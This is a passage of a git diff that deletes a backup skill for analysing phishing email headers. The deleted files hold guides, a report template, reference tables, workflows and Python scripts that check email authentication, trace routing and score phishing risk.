Suspicious `Received` chains with unfamiliar relay servers -- `X-Originating-IP` from unexpected geographies -- Missing or malformed `Message-ID` -- Unusual `X-Mailer` values (e.g., mass-mailing tools) - -## Implementation Steps - -### Step 1: Extract Raw Email Headers -``` -Gmail: Open email -> Three dots -> "Show original" -Outlook: Open email -> File -> Properties -> Internet Headers -Thunderbird: View -> Message Source (Ctrl+U) -``` - -### Step 2: Parse Headers with Python -Use the `scripts/process.py` script to automate header analysis including IP geolocation, authentication validation, and anomaly detection. - -### Step 3: Validate Authentication Chain -- Check SPF alignment: Does the sending IP match the domain's SPF record? -- Check DKIM signature: Is the cryptographic signature valid? -- Check DMARC policy: Does the message pass DMARC alignment? - -### Step 4: Trace Mail Route -- Read `Received` headers from bottom to top -- Map each hop's IP to organization/location -- Identify unexpected relays or delays - -### Step 5: Correlate with Threat Intelligence -- Look up originating IP on AbuseIPDB, VirusTotal -- Check sending domain age on WHOIS -- Search for known phishing infrastructure patterns - -## Tools & Resources -- **MXToolbox Header Analyzer**: https://mxtoolbox.com/EmailHeaders.aspx -- **Google Admin Toolbox**: https://toolbox.googleapps.com/apps/messageheader/ -- **AbuseIPDB**: https://www.abuseipdb.com/ -- **VirusTotal**: https://www.virustotal.com/ -- **PhishTank**: https://phishtank.org/ - -## Validation -- Successfully parse headers from 3 different email providers -- Correctly identify authentication pass/fail status -- Accurately trace email routing path -- Detect at least 3 phishing indicators in a sample phishing email diff --git a/skills/analyzing-phishing-email-headers.bak/assets/template.md b/skills/analyzing-phishing-email-headers.bak/assets/template.md deleted file mode 100644 index c621aba1..00000000 --- a/skills/analyzing-phishing-email-headers.bak/assets/template.md +++ /dev/null @@ -1,86 +0,0 @@ -# Phishing Email Header Analysis Report Template - -## Report Information -- **Analyst**: [Name] -- **Date**: [YYYY-MM-DD] -- **Case ID**: [CASE-XXXX] -- **Classification**: [Phishing / Spear-phishing / BEC / Legitimate] - -## Email Summary -| Field | Value | -|---|---| -| From | | -| To | | -| Subject | | -| Date Received | | -| Message-ID | | - -## Authentication Results -| Check | Result | Domain | Notes | -|---|---|---|---| -| SPF | pass/fail/none | | | -| DKIM | pass/fail/none | | | -| DMARC | pass/fail/none | | | - -## Sender Analysis -| Field | Value | Match From? | -|---|---|---| -| From (header) | | N/A | -| Return-Path (envelope) | | Yes/No | -| Reply-To | | Yes/No | -| X-Originating-IP | | | -| X-Mailer | | | - -## Routing Analysis -| Hop | Server From | Server By | IP | Location | Time | -|---|---|---|---|---|---| -| 1 | | | | | | -| 2 | | | | | | -| 3 | | | | | | - -## Indicators of Compromise (IOCs) -### IP Addresses -| IP | Source | Reputation | Location | -|---|---|---|---| -| | | | | - -### Domains -| Domain | Source | Age | Reputation | -|---|---|---|---| -| | | | | - -### URLs -| URL | Context | Status | -|---|---|---| -| | | | - -## Phishing Indicators Found -| # | Category | Description | Severity | -|---|---|---|---| -| 1 | | | | -| 2 | | | | -| 3 | | | | - -## Risk Assessment -- **Risk Score**: [0-100] -- **Risk Level**: [CLEAN / LOW / MEDIUM / HIGH / CRITICAL] -- **Confidence**: [Low / Medium / High] - -## Recommended Actions -- [ ] Block sender domain at email gateway -- [ ] Add originating IP to blocklist -- [ ] Submit IOCs to threat intelligence platform -- [ ] Notify affected users -- [ ] Check for similar messages in mail logs -- [ ] Update email filtering rules -- [ ] Report to anti-phishing databases (PhishTank, APWG) - -## Evidence Chain -| Item | Hash (SHA-256) | Description | -|---|---|---| -| Original .eml | | Raw email file | -| Headers export | | Extracted headers | -| Screenshots | | Visual evidence | - -## Notes -[Additional observations, context, or analysis notes] diff --git a/skills/analyzing-phishing-email-headers.bak/references/api-reference.md b/skills/analyzing-phishing-email-headers.bak/references/api-reference.md deleted file mode 100644 index 5018db09..00000000 --- a/skills/analyzing-phishing-email-headers.bak/references/api-reference.md +++ /dev/null @@ -1,90 +0,0 @@ -# API Reference: Phishing Email Header Analysis - -## Python email Module - -### Parsing Email Files -```python -import email -with open("message.eml", "r") as f: - msg = email.message_from_string(f.read()) - -print(msg["From"]) -print(msg["Subject"]) -print(msg.get_all("Received")) -print(msg["Authentication-Results"]) -``` - -### Extracting Body -```python -if msg.is_multipart(): - for part in msg.walk(): - if part.get_content_type() == "text/html": - body = part.get_payload(decode=True).decode() -``` - -## Key Email Headers for Forensics - -| Header | Purpose | -|--------|---------| -| `Received` | Mail server routing chain (bottom = origin) | -| `From` | Claimed sender (can be spoofed) | -| `Return-Path` | Envelope sender for bounces | -| `Reply-To` | Where replies go (phishing: often different from From) | -| `Authentication-Results` | SPF/DKIM/DMARC verdicts | -| `Received-SPF` | SPF check result | -| `DKIM-Signature` | DKIM cryptographic signature | -| `X-Mailer` | Sending software | -| `Message-ID` | Unique message identifier | -| `X-Originating-IP` | Original sender IP | - -## Authentication Checks - -### SPF Status Values -| Value | Meaning | -|-------|---------| -| `pass` | Sender IP authorized | -| `fail` | Sender IP not authorized | -| `softfail` | Not authorized but not rejected | -| `neutral` | No SPF policy for domain | -| `none` | No SPF record exists | - -### DKIM Verification -```bash -opendkim-testmsg < message.eml -# Or in Authentication-Results: dkim=pass header.d=example.com -``` - -### DMARC Policy Check -```bash -dig _dmarc.example.com TXT -# v=DMARC1; p=reject; rua=mailto:dmarc@example.com -``` - -## Phishing Detection Indicators - -| Indicator | Severity | Description | -|-----------|----------|-------------| -| SPF fail | HIGH | Sender IP not in domain's SPF record | -| Reply-To mismatch | HIGH | Reply-To different from From address | -| Email in display name | HIGH | Display name contains email address | -| IP-based URL | HIGH | Links point to raw IP addresses | -| Urgency keywords | MEDIUM | Subject contains "urgent", "action required" | -| URL shortener | MEDIUM | Links use bit.ly, tinyurl, etc. | -| New domain | MEDIUM | Sending domain registered recently | -| PHPMailer X-Mailer | MEDIUM | Bulk mailer software | - -## msgconvert (Perl) - -### Convert MSG to EML -```bash -msgconvert message.msg # Outputs message.eml -msgconvert --outfile out.eml msg.msg # Specify output -``` - -## emlAnalyzer (Python) - -### Installation and Usage -```bash -pip install eml-analyzer -emlAnalyzer -i message.eml --header --html --attachments -``` diff --git a/skills/analyzing-phishing-email-headers.bak/references/standards.md b/skills/analyzing-phishing-email-headers.bak/references/standards.md deleted file mode 100644 index c1c7f272..00000000 --- a/skills/analyzing-phishing-email-headers.bak/references/standards.md +++ /dev/null @@ -1,42 +0,0 @@ -# Standards & References: Analyzing Phishing Email Headers - -## RFC Standards -- **RFC 5321 (SMTP)**: Simple Mail Transfer Protocol - defines how email is transmitted and the structure of Received headers -- **RFC 5322 (Internet Message Format)**: Defines the syntax of email header fields including From, To, Date, Message-ID -- **RFC 7208 (SPF)**: Sender Policy Framework - mechanism for validating email sender IP against domain policy -- **RFC 6376 (DKIM)**: DomainKeys Identified Mail - cryptographic authentication of email messages -- **RFC 7489 (DMARC)**: Domain-based Message Authentication, Reporting and Conformance -- **RFC 8601 (Authentication-Results)**: Message Header Field for Indicating Message Authentication Status - -## NIST Guidelines -- **NIST SP 800-177 Rev.1**: Trustworthy Email - comprehensive guide to email security including header authentication -- **NIST SP 800-45 Ver.2**: Guidelines on Electronic Mail Security - -## MITRE ATT&CK References -- **T1566.001**: Phishing: Spearphishing Attachment -- **T1566.002**: Phishing: Spearphishing Link -- **T1566.003**: Phishing: Spearphishing via Service -- **T1534**: Internal Spearphishing - -## Industry Standards -- **M3AAWG Best Practices**: Messaging, Malware and Mobile Anti-Abuse Working Group email authentication recommendations -- **DMARC.org**: Industry consortium for DMARC deployment guidance -- **Anti-Phishing Working Group (APWG)**: Phishing Activity Trends Reports - -## Key Header Fields Reference - -| Header Field | RFC | Purpose | -|---|---|---| -| Received | RFC 5321 | Records each SMTP hop | -| From | RFC 5322 | Display sender address | -| Return-Path | RFC 5321 | Envelope sender (bounce address) | -| Authentication-Results | RFC 8601 | SPF/DKIM/DMARC results | -| DKIM-Signature | RFC 6376 | Cryptographic signature | -| Message-ID | RFC 5322 | Unique message identifier | -| X-Originating-IP | Non-standard | Sender's IP (provider-specific) | -| X-Mailer | Non-standard | Email client identification | - -## Compliance Frameworks -- **PCI DSS 4.0**: Requirement 5 - Protect All Systems and Networks from Malicious Software -- **ISO 27001:2022**: A.8.23 - Web filtering; A.5.14 - Information transfer -- **SOC 2**: CC6.1 - Logical and Physical Access Controls diff --git a/skills/analyzing-phishing-email-headers.bak/references/workflows.md b/skills/analyzing-phishing-email-headers.bak/references/workflows.md deleted file mode 100644 index 21629b4d..00000000 --- a/skills/analyzing-phishing-email-headers.bak/references/workflows.md +++ /dev/null @@ -1,89 +0,0 @@ -# Workflows: Analyzing Phishing Email Headers - -## Workflow 1: Rapid Header Triage - -``` -START: Suspicious email reported - | - v -[Extract raw headers from email client] - | - v -[Check Authentication-Results header] - | - +-- SPF=pass, DKIM=pass, DMARC=pass --> Lower suspicion, check content - | - +-- Any FAIL --> High suspicion - | - v - [Compare From vs Return-Path vs Reply-To] - | - +-- All match --> Check Received chain - +-- Mismatch --> LIKELY PHISHING - escalate - | - v - [Document findings, block sender, alert SOC] -``` - -## Workflow 2: Full Header Forensic Analysis - -### Phase 1: Collection -1. Obtain raw email source (.eml file or copy full headers) -2. Preserve original message with headers as evidence -3. Calculate hash of original .eml file for chain of custody - -### Phase 2: Authentication Analysis -1. Extract SPF result from Authentication-Results -2. Verify SPF by querying sender domain's TXT record: `dig TXT _spf.example.com` -3. Extract DKIM result and verify signature domain -4. Check DMARC alignment (identifier alignment between SPF/DKIM and From domain) -5. Document all authentication pass/fail results - -### Phase 3: Route Analysis -1. Parse all Received headers (bottom to top) -2. For each hop: - - Extract server hostname and IP - - Note timestamp - - Calculate time delta between hops -3. Flag any: - - Unexpected relay servers - - Geographic anomalies (IP in unexpected country) - - Excessive delays (possible queuing for mass send) - - Internal-only hostnames appearing in external mail - -### Phase 4: Sender Investigation -1. WHOIS lookup on sending domain - - Domain age < 30 days = high risk - - Registrar known for abuse = medium risk -2. Reverse DNS on originating IP -3. AbuseIPDB / VirusTotal lookup on originating IP -4. Check if sending domain appears in known phishing feeds - -### Phase 5: Indicator Extraction -1. Extract all URLs from message body and headers -2. Extract all IP addresses from Received chain -3. Extract domain names from all relevant fields -4. Create IOC list for threat intelligence platform - -## Workflow 3: Automated Pipeline - -``` -Email received --> MTA logs header --> - SIEM ingestion --> - Automated header parsing --> - Authentication check --> - IF fail: Create alert + enrich with TI --> - SOC analyst review --> - Confirm/dismiss --> - IF confirmed: Block + hunt similar -``` - -## Decision Matrix - -| Authentication | Route | Sender Rep | Action | -|---|---|---|---| -| All Pass | Normal | Good | Deliver normally | -| SPF Fail | Normal | Good | Quarantine, investigate | -| DKIM Fail | Normal | Unknown | Quarantine, investigate | -| DMARC Fail | Anomalous | Bad | Block, create IOC | -| All Fail | Anomalous | Bad | Block, escalate, hunt | diff --git a/skills/analyzing-phishing-email-headers.bak/scripts/agent.py b/skills/analyzing-phishing-email-headers.bak/scripts/agent.py deleted file mode 100644 index 48f61fb3..00000000 --- a/skills/analyzing-phishing-email-headers.bak/scripts/agent.py +++ /dev/null @@ -1,213 +0,0 @@ -#!/usr/bin/env python3 -"""Phishing email header analysis agent. - -Parses email headers to detect spoofing, authentication failures, -suspicious routing, and phishing indicators. -""" - -import os -import sys -import re -import email -import email.utils - - -def parse_email_file(filepath): - with open(filepath, "r", encoding="utf-8", errors="replace") as f: - return email.message_from_string(f.read()) - - -def extract_received_chain(msg): - chain = [] - for header in msg.get_all("Received", []): - entry = {"raw": header.strip()[:300]} - from_match = re.search(r"from\s+([\w.-]+)", header) - by_match = re.search(r"by\s+([\w.-]+)", header) - ip_match = re.search(r"\[(\d+\.\d+\.\d+\.\d+)\]", header) - date_match = re.search(r";\s*(.+)$", header) - if from_match: - entry["from_host"] = from_match.group(1) - if by_match: - entry["by_host"] = by_match.group(1) - if ip_match: - entry["ip"] = ip_match.group(1) - if date_match: - entry["date"] = date_match.group(1).strip()[:60] - chain.append(entry) - return chain - - -def check_spf(msg): - spf_headers = msg.get_all("Received-SPF", []) - auth_results = msg.get("Authentication-Results", "") - result = {"status": "none", "details": ""} - for h in spf_headers: - h_lower = h.lower() - if "pass" in h_lower: - result = {"status": "pass", "details": h[:200]} - elif "fail" in h_lower or "softfail" in h_lower: - result = {"status": "fail", "details": h[:200]} - elif "neutral" in h_lower: - result = {"status": "neutral", "details": h[:200]} - if "spf=" in auth_results.lower(): - spf_match = re.search(r"spf=(\w+)", auth_results, re.IGNORECASE) - if spf_match: - result["auth_result_spf"] = spf_match.group(1) - return result - - -def check_dkim(msg): - auth_results = msg.get("Authentication-Results", "") - dkim_sig = msg.get("DKIM-Signature", "") - result = {"status": "none", "domain": ""} - if "dkim=" in auth_results.lower(): - dkim_match = re.search(r"dkim=(\w+)", auth_results, re.IGNORECASE) - if dkim_match: - result["status"] = dkim_match.group(1) - if dkim_sig: - d_match = re.search(r"d=([\w.-]+)", dkim_sig) - if d_match: - result["domain"] = d_match.group(1) - return result - - -def check_dmarc(msg): - auth_results = msg.get("Authentication-Results", "") - result = {"status": "none"} - if "dmarc=" in auth_results.lower(): - dmarc_match = re.search(r"dmarc=(\w+)", auth_results, re.IGNORECASE) - if dmarc_match: - result["status"] = dmarc_match.group(1) - return result - - -def extract_urls(msg): - urls = set() - body = "" - if msg.is_multipart(): - for part in msg.walk(): - ct = part.get_content_type() - if ct in ("text/plain", "text/html"): - payload = part.get_payload(decode=True) - if payload: - body += payload.decode("utf-8", errors="replace") - else: - payload = msg.get_payload(decode=True) - if payload: - body = payload.decode("utf-8", errors="replace") - urls.update(re.findall(r"https?://[^\s<>\"')\]]+", body)) - href_urls = re.findall(r'href=["\']([^"\']+)["\']', body) - urls.update(u for u in href_urls if u.startswith("http")) - return sorted(urls) - - -def detect_display_name_spoofing(msg): - from_header = msg.get("From", "") - reply_to = msg.get("Reply-To", "") - findings = [] - name, addr = email.utils.parseaddr(from_header) - if name and addr: - if re.search(r"@", name): - findings.append({ - "type": "email_in_display_name", - "detail": f"Display name contains email: {name}", - }) - if reply_to: - _, reply_addr = email.utils.parseaddr(reply_to) - if reply_addr and addr and reply_addr.lower() != addr.lower(): - findings.append({ - "type": "reply_to_mismatch", - "detail": f"From: {addr} vs Reply-To: {reply_addr}", - }) - return findings - - -def detect_phishing_indicators(msg, urls): - indicators = [] - subject = msg.get("Subject", "").lower() - urgency = ["urgent", "immediate", "action required", "suspended", - "verify", "expires today", "click here", "limited time"] - for word in urgency: - if word in subject: - indicators.append({ - "type": "urgency_subject", "keyword": word, "severity": "MEDIUM", - }) - break - for url in urls: - if re.search(r"https?://\d+\.\d+\.\d+\.\d+", url): - indicators.append({ - "type": "ip_url", "url": url[:100], "severity": "HIGH", - }) - if len(url) > 200: - indicators.append({ - "type": "long_url", "url_length": len(url), "severity": "MEDIUM", - }) - x_mailer = msg.get("X-Mailer", "") - if x_mailer and any(s in x_mailer.lower() for s in ["phpmailer", "swiftmailer"]): - indicators.append({ - "type": "suspicious_mailer", "mailer": x_mailer, "severity": "MEDIUM", - }) - return indicators - - -def generate_report(filepath, msg): - received = extract_received_chain(msg) - spf = check_spf(msg) - dkim = check_dkim(msg) - dmarc = check_dmarc(msg) - urls = extract_urls(msg) - spoofing = detect_display_name_spoofing(msg) - phishing = detect_phishing_indicators(msg, urls) - return { - "file": filepath, - "subject": msg.get("Subject", ""), - "from": msg.get("From", ""), - "to": msg.get("To", ""), - "date": msg.get("Date", ""), - "message_id": msg.get("Message-ID", ""), - "received_hops": len(received), - "received_chain": received, - "authentication": {"spf": spf, "dkim": dkim, "dmarc": dmarc}, - "urls_found": len(urls), - "urls": urls[:20], - "spoofing_indicators": spoofing, - "phishing_indicators": phishing, - "verdict": "SUSPICIOUS" if (phishing or spoofing or - spf.get("status") == "fail") else "CLEAN", - } - - -if __name__ == "__main__": - print("=" * 60) - print("Phishing Email Header Analysis Agent") - print("SPF/DKIM/DMARC, spoofing detection, URL extraction") - print("=" * 60) - - target = sys.argv[1] if len(sys.argv) > 1 else None - if not target or not os.path.exists(target): - print("\n[DEMO] Usage: python agent.py ") - sys.exit(0) - - msg = parse_email_file(target) - report = generate_report(target, msg) - - print(f"\n[*] Subject: {report['subject']}") - print(f"[*] From: {report['from']}") - print(f"[*] Date: {report['date']}") - print(f"[*] Received hops: {report['received_hops']}") - - auth = report["authentication"] - print(f"\n--- Authentication ---") - print(f" SPF: {auth['spf']['status']}") - print(f" DKIM: {auth['dkim']['status']}") - print(f" DMARC: {auth['dmarc']['status']}") - - print(f"\n--- URLs ({report['urls_found']}) ---") - for u in report["urls"][:5]: - print(f" {u[:80]}") - - print(f"\n--- Indicators ---") - for i in report["phishing_indicators"] + report["spoofing_indicators"]: - print(f" [{i.get('severity','INFO')}] {i['type']}: {i.get('detail', i.get('keyword', ''))}") - - print(f"\n[*] Verdict: {report['verdict']}") diff --git a/skills/analyzing-phishing-email-headers.bak/scripts/process.py b/skills/analyzing-phishing-email-headers.bak/scripts/process.py deleted file mode 100644 index f2d79a9a..00000000 --- a/skills/analyzing-phishing-email-headers.bak/scripts/process.py +++ /dev/null @@ -1,566 +0,0 @@ -#!/usr/bin/env python3 -""" -Phishing Email Header Analyzer - -Parses raw email headers to extract authentication results, routing information, -and phishing indicators. Performs IP geolocation, domain age checks, and -generates a risk assessment report. - -Usage: - python process.py --file email_headers.txt - python process.py --eml suspicious_email.eml - python process.py --stdin < headers.txt -""" - -import argparse -import email -import re -import json -import sys -import socket -import hashlib -from datetime import datetime, timezone -from email import policy -from email.parser import HeaderParser, BytesParser -from pathlib import Path -from typing import Optional -from dataclasses import dataclass, field, asdict - -try: - import requests - HAS_REQUESTS = True -except ImportError: - HAS_REQUESTS = False - - -@dataclass -class ReceivedHop: - """Represents a single hop in the email routing chain.""" - server_from: str = "" - server_by: str = "" - ip_address: str = "" - timestamp: str = "" - protocol: str = "" - hop_number: int = 0 - geo_location: str = "" - reverse_dns: str = "" - - -@dataclass -class AuthenticationResult: - """Email authentication check results.""" - spf: str = "none" - spf_domain: str = "" - dkim: str = "none" - dkim_domain: str = "" - dmarc: str = "none" - dmarc_domain: str = "" - compauth: str = "" - - -@dataclass -class PhishingIndicator: - """A single phishing indicator found in headers.""" - category: str = "" - description: str = "" - severity: str = "low" # low, medium, high, critical - raw_value: str = "" - - -@dataclass -class HeaderAnalysis: - """Complete header analysis results.""" - message_id: str = "" - from_address: str = "" - from_domain: str = "" - return_path: str = "" - return_path_domain: str = "" - reply_to: str = "" - reply_to_domain: str = "" - subject: str = "" - date: str = "" - x_originating_ip: str = "" - x_mailer: str = "" - received_hops: list = field(default_factory=list) - authentication: AuthenticationResult = field(default_factory=AuthenticationResult) - indicators: list = field(default_factory=list) - risk_score: int = 0 - risk_level: str = "unknown" - urls_in_headers: list = field(default_factory=list) - file_hash: str = "" - - -def extract_ip_from_received(received_value: str) -> str: - """Extract IP address from a Received header value.""" - ip_patterns = [ - r'\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]', - r'\((\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\)', - r'from\s+\S+\s+\(.*?(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', - ] - for pattern in ip_patterns: - match = re.search(pattern, received_value) - if match: - ip = match.group(1) - if not ip.startswith(('10.', '172.16.', '172.17.', '172.18.', - '172.19.', '172.2', '172.30.', '172.31.', - '192.168.', '127.')): - return ip - return "" - - -def extract_domain(email_address: str) -> str: - """Extract domain from an email address.""" - if not email_address: - return "" - match = re.search(r'@([\w.-]+)', email_address) - return match.group(1).lower() if match else "" - - -def parse_received_header(received_value: str, hop_num: int) -> ReceivedHop: - """Parse a single Received header into structured data.""" - hop = ReceivedHop(hop_number=hop_num) - - from_match = re.search(r'from\s+([\w.\-]+)', received_value, re.IGNORECASE) - if from_match: - hop.server_from = from_match.group(1) - - by_match = re.search(r'by\s+([\w.\-]+)', received_value, re.IGNORECASE) - if by_match: - hop.server_by = by_match.group(1) - - hop.ip_address = extract_ip_from_received(received_value) - - date_match = re.search(r';\s*(.+)$', received_value) - if date_match: - hop.timestamp = date_match.group(1).strip() - - proto_match = re.search(r'with\s+(ESMTP[SA]*|SMTP[SA]*|HTTP[S]?|LMTP)', - received_value, re.IGNORECASE) - if proto_match: - hop.protocol = proto_match.group(1).upper() - - return hop - - -def parse_authentication_results(auth_header: str) -> AuthenticationResult: - """Parse Authentication-Results header.""" - result = AuthenticationResult() - - spf_match = re.search(r'spf=(pass|fail|softfail|neutral|none|temperror|permerror)', - auth_header, re.IGNORECASE) - if spf_match: - result.spf = spf_match.group(1).lower() - - spf_domain_match = re.search(r'smtp\.mailfrom=([\w.\-@]+)', auth_header, re.IGNORECASE) - if spf_domain_match: - result.spf_domain = spf_domain_match.group(1) - - dkim_match = re.search(r'dkim=(pass|fail|none|neutral|temperror|permerror)', - auth_header, re.IGNORECASE) - if dkim_match: - result.dkim = dkim_match.group(1).lower() - - dkim_domain_match = re.search(r'header\.[di]=([\w.\-]+)', auth_header, re.IGNORECASE) - if dkim_domain_match: - result.dkim_domain = dkim_domain_match.group(1) - - dmarc_match = re.search(r'dmarc=(pass|fail|none|bestguesspass|temperror|permerror)', - auth_header, re.IGNORECASE) - if dmarc_match: - result.dmarc = dmarc_match.group(1).lower() - - dmarc_domain_match = re.search(r'header\.from=([\w.\-]+)', auth_header, re.IGNORECASE) - if dmarc_domain_match: - result.dmarc_domain = dmarc_domain_match.group(1) - - compauth_match = re.search(r'compauth=(\w+)', auth_header, re.IGNORECASE) - if compauth_match: - result.compauth = compauth_match.group(1) - - return result - - -def geolocate_ip(ip_address: str) -> str: - """Geolocate an IP address using ip-api.com (free, no key required).""" - if not HAS_REQUESTS or not ip_address: - return "unknown" - try: - resp = requests.get(f"http://ip-api.com/json/{ip_address}", - timeout=5, - params={"fields": "country,city,org,status"}) - if resp.status_code == 200: - data = resp.json() - if data.get("status") == "success": - return f"{data.get('city', '')}, {data.get('country', '')} ({data.get('org', '')})" - except Exception: - pass - return "unknown" - - -def reverse_dns_lookup(ip_address: str) -> str: - """Perform reverse DNS lookup on an IP address.""" - if not ip_address: - return "" - try: - hostname = socket.gethostbyaddr(ip_address) - return hostname[0] - except (socket.herror, socket.gaierror, OSError): - return "" - - -def check_abuseipdb(ip_address: str, api_key: str = "") -> dict: - """Check IP against AbuseIPDB (requires API key).""" - if not HAS_REQUESTS or not api_key or not ip_address: - return {} - try: - headers = {"Key": api_key, "Accept": "application/json"} - params = {"ipAddress": ip_address, "maxAgeInDays": "90"} - resp = requests.get("https://api.abuseipdb.com/api/v2/check", - headers=headers, params=params, timeout=10) - if resp.status_code == 200: - return resp.json().get("data", {}) - except Exception: - pass - return {} - - -def analyze_indicators(analysis: HeaderAnalysis) -> list: - """Detect phishing indicators from parsed header data.""" - indicators = [] - - # Check From vs Return-Path mismatch - if (analysis.from_domain and analysis.return_path_domain and - analysis.from_domain != analysis.return_path_domain): - indicators.append(PhishingIndicator( - category="sender_mismatch", - description=f"From domain ({analysis.from_domain}) differs from " - f"Return-Path domain ({analysis.return_path_domain})", - severity="high", - raw_value=f"From: {analysis.from_domain}, Return-Path: {analysis.return_path_domain}" - )) - - # Check From vs Reply-To mismatch - if (analysis.from_domain and analysis.reply_to_domain and - analysis.from_domain != analysis.reply_to_domain): - indicators.append(PhishingIndicator( - category="reply_to_mismatch", - description=f"From domain ({analysis.from_domain}) differs from " - f"Reply-To domain ({analysis.reply_to_domain})", - severity="high", - raw_value=f"From: {analysis.from_domain}, Reply-To: {analysis.reply_to_domain}" - )) - - # Check SPF failure - if analysis.authentication.spf in ("fail", "softfail"): - indicators.append(PhishingIndicator( - category="authentication_failure", - description=f"SPF check returned {analysis.authentication.spf}", - severity="high" if analysis.authentication.spf == "fail" else "medium", - raw_value=f"spf={analysis.authentication.spf}" - )) - - # Check DKIM failure - if analysis.authentication.dkim == "fail": - indicators.append(PhishingIndicator( - category="authentication_failure", - description="DKIM signature verification failed", - severity="high", - raw_value="dkim=fail" - )) - - # Check DMARC failure - if analysis.authentication.dmarc == "fail": - indicators.append(PhishingIndicator( - category="authentication_failure", - description="DMARC policy check failed", - severity="critical", - raw_value="dmarc=fail" - )) - - # Check for missing Message-ID - if not analysis.message_id: - indicators.append(PhishingIndicator( - category="missing_header", - description="Message-ID header is missing", - severity="medium", - raw_value="" - )) - - # Check for suspicious X-Mailer - suspicious_mailers = [ - "PHPMailer", "King Phisher", "GoPhish", "Swaks", - "Sendinblue", "Mass Mailer", "Bulk Mailer" - ] - if analysis.x_mailer: - for mailer in suspicious_mailers: - if mailer.lower() in analysis.x_mailer.lower(): - indicators.append(PhishingIndicator( - category="suspicious_mailer", - description=f"Suspicious X-Mailer detected: {analysis.x_mailer}", - severity="high", - raw_value=analysis.x_mailer - )) - break - - # Check for too few received hops (direct injection) - if len(analysis.received_hops) <= 1: - indicators.append(PhishingIndicator( - category="routing_anomaly", - description="Very few Received hops - possible direct SMTP injection", - severity="medium", - raw_value=f"Hop count: {len(analysis.received_hops)}" - )) - - # Check for missing authentication results - auth = analysis.authentication - if auth.spf == "none" and auth.dkim == "none" and auth.dmarc == "none": - indicators.append(PhishingIndicator( - category="no_authentication", - description="No email authentication results found (SPF, DKIM, DMARC all absent)", - severity="high", - raw_value="" - )) - - return indicators - - -def calculate_risk_score(indicators: list) -> tuple: - """Calculate risk score from indicators. Returns (score, level).""" - severity_weights = {"critical": 30, "high": 20, "medium": 10, "low": 5} - score = 0 - for indicator in indicators: - score += severity_weights.get(indicator.severity, 0) - - score = min(score, 100) - - if score >= 70: - level = "CRITICAL" - elif score >= 50: - level = "HIGH" - elif score >= 30: - level = "MEDIUM" - elif score >= 10: - level = "LOW" - else: - level = "CLEAN" - - return score, level - - -def analyze_headers(raw_headers: str, enrich: bool = False, - abuseipdb_key: str = "") -> HeaderAnalysis: - """ - Main analysis function. Parses raw email headers and produces - a complete HeaderAnalysis report. - """ - analysis = HeaderAnalysis() - - # Calculate hash of raw input for evidence tracking - analysis.file_hash = hashlib.sha256(raw_headers.encode()).hexdigest() - - # Parse using Python's email library - parser = HeaderParser() - msg = parser.parsestr(raw_headers) - - # Extract basic fields - analysis.from_address = msg.get("From", "") - analysis.from_domain = extract_domain(analysis.from_address) - analysis.return_path = msg.get("Return-Path", "") - analysis.return_path_domain = extract_domain(analysis.return_path) - analysis.reply_to = msg.get("Reply-To", "") - analysis.reply_to_domain = extract_domain(analysis.reply_to) - analysis.message_id = msg.get("Message-ID", "") - analysis.subject = msg.get("Subject", "") - analysis.date = msg.get("Date", "") - analysis.x_mailer = msg.get("X-Mailer", "") or msg.get("User-Agent", "") - - # Extract X-Originating-IP - x_orig = msg.get("X-Originating-IP", "") - if x_orig: - ip_match = re.search(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', x_orig) - if ip_match: - analysis.x_originating_ip = ip_match.group(1) - - # Parse Received headers (they appear in reverse order) - received_headers = msg.get_all("Received", []) - for i, received in enumerate(received_headers): - hop = parse_received_header(received, len(received_headers) - i) - if enrich and hop.ip_address: - hop.geo_location = geolocate_ip(hop.ip_address) - hop.reverse_dns = reverse_dns_lookup(hop.ip_address) - analysis.received_hops.append(hop) - - # Reverse to chronological order (first hop first) - analysis.received_hops.reverse() - - # Parse Authentication-Results - auth_results = msg.get("Authentication-Results", "") - if auth_results: - analysis.authentication = parse_authentication_results(auth_results) - - # Also check ARC-Authentication-Results - arc_auth = msg.get("ARC-Authentication-Results", "") - if arc_auth and analysis.authentication.spf == "none": - analysis.authentication = parse_authentication_results(arc_auth) - - # Extract URLs from headers - url_pattern = r'https?://[^\s<>"\')\]>]+' - all_header_text = raw_headers - analysis.urls_in_headers = list(set(re.findall(url_pattern, all_header_text))) - - # Detect phishing indicators - analysis.indicators = analyze_indicators(analysis) - - # Calculate risk score - analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators) - - # Enrich with threat intelligence if requested - if enrich and analysis.x_originating_ip and abuseipdb_key: - abuse_data = check_abuseipdb(analysis.x_originating_ip, abuseipdb_key) - if abuse_data and abuse_data.get("abuseConfidenceScore", 0) > 50: - analysis.indicators.append(PhishingIndicator( - category="threat_intelligence", - description=f"IP {analysis.x_originating_ip} has abuse confidence " - f"score of {abuse_data['abuseConfidenceScore']}%", - severity="critical", - raw_value=json.dumps(abuse_data) - )) - # Recalculate risk - analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators) - - return analysis - - -def format_report(analysis: HeaderAnalysis) -> str: - """Format analysis results as a human-readable report.""" - lines = [] - lines.append("=" * 70) - lines.append(" PHISHING EMAIL HEADER ANALYSIS REPORT") - lines.append("=" * 70) - lines.append(f" Generated: {datetime.now(timezone.utc).isoformat()}") - lines.append(f" Evidence Hash: {analysis.file_hash[:16]}...") - lines.append("") - - # Risk Assessment - lines.append(f" RISK LEVEL: {analysis.risk_level} (Score: {analysis.risk_score}/100)") - lines.append("-" * 70) - - # Sender Information - lines.append("\n[SENDER INFORMATION]") - lines.append(f" From: {analysis.from_address}") - lines.append(f" Return-Path: {analysis.return_path}") - lines.append(f" Reply-To: {analysis.reply_to}") - lines.append(f" Subject: {analysis.subject}") - lines.append(f" Date: {analysis.date}") - lines.append(f" Message-ID: {analysis.message_id}") - lines.append(f" X-Mailer: {analysis.x_mailer}") - if analysis.x_originating_ip: - lines.append(f" Origin IP: {analysis.x_originating_ip}") - - # Authentication Results - lines.append("\n[AUTHENTICATION RESULTS]") - auth = analysis.authentication - spf_icon = "PASS" if auth.spf == "pass" else "FAIL" if auth.spf in ("fail", "softfail") else "NONE" - dkim_icon = "PASS" if auth.dkim == "pass" else "FAIL" if auth.dkim == "fail" else "NONE" - dmarc_icon = "PASS" if auth.dmarc == "pass" else "FAIL" if auth.dmarc 